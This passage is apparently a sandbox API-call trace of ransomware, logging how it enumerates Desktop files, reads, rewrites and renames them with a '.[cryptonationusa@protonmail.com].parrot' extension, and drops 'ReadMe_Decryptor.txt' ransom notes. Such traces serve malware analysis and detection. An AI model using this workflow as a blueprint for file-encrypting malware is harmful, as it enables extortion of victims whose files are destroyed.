(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\zBNu1_9Jb.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\zbnu1_9jb.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\zBNu1_9Jb.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\zbnu1_9jb.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0033.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0033.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0033.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452a0 | out: hHeap=0x5b0000) returned 1 [0033.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0033.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0033.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0033.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0033.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f598, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0033.008] GetFileType (hFile=0x23c) returned 0x1 [0033.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0033.018] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0033.018] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bbaef0, ftCreationTime.dwHighDateTime=0x1d5bcd8, ftLastAccessTime.dwLowDateTime=0xa497e920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa497e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.018] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d67060, ftCreationTime.dwHighDateTime=0x1d5be1f, ftLastAccessTime.dwLowDateTime=0x22655640, ftLastAccessTime.dwHighDateTime=0x1d5bef1, ftLastWriteTime.dwLowDateTime=0xa484de20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eGKSNoCFe2.m4a.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EGKSNO~1.PAR")) returned 1 [0033.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0033.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0033.019] lstrcmpW (lpString1="eGKSNoCFe2.m4a.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d6de8 [0033.019] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa484de20, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa484de20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa49a4a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0033.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0033.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.019] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0033.019] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3afba50, ftCreationTime.dwHighDateTime=0x1d5b92e, ftLastAccessTime.dwLowDateTime=0x8a2d1150, ftLastAccessTime.dwHighDateTime=0x1d5bf3c, ftLastWriteTime.dwLowDateTime=0xa4873f80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x26c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="YjYYP1K-JxmugG9XF3.flv.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="YJYYP1~1.PAR")) returned 1 [0033.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0033.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0033.019] lstrcmpW (lpString1="YjYYP1K-JxmugG9XF3.flv.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0033.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d6ed0 [0033.019] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a3ebb0, ftCreationTime.dwHighDateTime=0x1d5c54d, ftLastAccessTime.dwLowDateTime=0x445c2fb0, ftLastAccessTime.dwHighDateTime=0x1d5c48e, ftLastWriteTime.dwLowDateTime=0xa497e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe788, dwReserved0=0x0, dwReserved1=0x0, cFileName="zBNu1_9Jb.mp3.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ZBNU1_~1.PAR")) returned 1 [0033.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0033.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0033.019] lstrcmpW (lpString1="zBNu1_9Jb.mp3.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0033.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5cbeb0 [0033.019] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a3ebb0, ftCreationTime.dwHighDateTime=0x1d5c54d, ftLastAccessTime.dwLowDateTime=0x445c2fb0, ftLastAccessTime.dwHighDateTime=0x1d5c48e, ftLastWriteTime.dwLowDateTime=0xa497e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe788, dwReserved0=0x0, dwReserved1=0x0, cFileName="zBNu1_9Jb.mp3.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ZBNU1_~1.PAR")) returned 0 [0033.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0033.019] FindClose (in: hFindFile=0x6003d0 | out: hFindFile=0x6003d0) returned 1 [0033.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0033.019] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54bdbd00, ftCreationTime.dwHighDateTime=0x1d5b5d5, ftLastAccessTime.dwLowDateTime=0xd45ed4f0, ftLastAccessTime.dwHighDateTime=0x1d5c0a1, ftLastWriteTime.dwLowDateTime=0xd45ed4f0, ftLastWriteTime.dwHighDateTime=0x1d5c0a1, nFileSizeHigh=0x0, nFileSizeLow=0x13b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="rZxZz.m4a", cAlternateFileName="")) returned 1 [0033.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0033.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.019] lstrcmpW (lpString1="rZxZz.m4a", lpString2="ReadMe_Decryptor.txt") returned 1 [0033.020] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rZxZz.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rzxzz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0033.020] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x13b4 [0033.020] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0033.020] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0033.020] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0033.020] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.020] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x13b4, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x13b4, lpOverlapped=0x0) returned 1 [0033.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0033.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0033.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0033.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0033.020] GetLastError () returned 0x0 [0033.020] SetLastError (dwErrCode=0x0) [0033.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2700 [0033.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0033.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0033.020] GetLastError () returned 0x0 [0033.021] SetLastError (dwErrCode=0x0) [0033.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.021] GetLastError () returned 0x0 [0033.021] SetLastError (dwErrCode=0x0) [0033.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0033.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0033.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0033.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0033.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0033.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0033.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.021] GetLastError () returned 0x0 [0033.021] SetLastError (dwErrCode=0x0) [0033.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2700 | out: hHeap=0x5b0000) returned 1 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbf98 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x606a50 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.022] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5cbf98 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d2058 [0033.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.022] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cc550 [0033.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0033.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0033.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0033.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0033.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0033.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0033.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0033.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5cce58 [0033.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0033.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d4d18 [0033.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x629218 [0033.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.023] WriteFile (in: hFile=0x258, lpBuffer=0x629220*, nNumberOfBytesToWrite=0x14d8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x629220*, lpNumberOfBytesWritten=0x18fa94*=0x14d8, lpOverlapped=0x0) returned 1 [0033.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0033.023] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0033.023] CloseHandle (hObject=0x258) returned 1 [0033.024] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b478 [0033.024] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x601838 [0033.024] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0033.024] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rZxZz.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rzxzz.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rZxZz.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rzxzz.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0033.025] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0033.025] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0033.025] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0033.025] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0033.025] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0033.025] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0033.025] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0033.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0033.027] GetFileType (hFile=0x258) returned 0x1 [0033.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0033.037] lstrcmpW (lpString1="S2zcxZhP3BFnWbv5.png", lpString2="ReadMe_Decryptor.txt") returned 1 [0033.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S2zcxZhP3BFnWbv5.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s2zcxzhp3bfnwbv5.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0033.037] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x121cf [0033.037] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x122e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0033.037] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0033.037] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0033.037] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.038] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x121cf, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x121cf, lpOverlapped=0x0) returned 1 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0033.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0033.038] GetLastError () returned 0x0 [0033.038] SetLastError (dwErrCode=0x0) [0033.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2700 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0033.038] GetLastError () returned 0x0 [0033.038] SetLastError (dwErrCode=0x0) [0033.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.038] GetLastError () returned 0x0 [0033.038] SetLastError (dwErrCode=0x0) [0033.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0033.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0033.039] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0033.039] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.039] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0033.039] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0033.039] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0033.039] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0033.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0033.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0033.106] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x6452d8 [0033.106] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0033.106] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf) returned 0x6069b0 [0033.106] HeapFree (in: 